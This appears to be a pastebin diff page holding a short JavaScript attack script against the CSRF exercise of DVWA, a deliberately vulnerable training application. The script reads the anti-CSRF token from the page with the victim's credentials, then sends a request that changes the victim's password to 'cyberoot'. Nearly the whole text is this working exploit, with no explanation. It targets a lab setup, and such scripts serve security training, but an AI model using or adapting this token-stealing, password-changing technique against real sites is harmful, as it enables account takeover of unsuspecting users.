View difference between Paste ID: JtKA0eHe and aG8CdmHn
SHOW: | | - or go back to the newest paste.
1
var theUrl = 'http://IP/dvwa/vulnerabilities/csrf/';
2
var pass = 'cyberoot';
3
if (window.XMLHttpRequest){
4
    xmlhttp=new XMLHttpRequest();
5
}else{
6
    xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
7
}
8
xmlhttp.withCredentials = true;
9
var hacked = false;
10
xmlhttp.onreadystatechange=function(){
11
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
12
    {
13
        var text = xmlhttp.responseText;
14
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
15
        var match = text.match(regex);
16
        var token = match[1];
17
        var new_url = 'http://pentest.wp/dvwa/vulnerabilities/csrf/?user_token='+token+'&password_new='+pass+'&password_conf='+pass+'&Change=Change'
18
        if(!hacked){
19
            alert('Got token:' + match[1]);
20
            hacked = true;
21
            xmlhttp.open("GET", new_url, false );
22
            xmlhttp.send();  
23
        }
24
        count++;
25
    }
26
};
27
xmlhttp.open("GET", theUrl, false );
28
xmlhttp.send();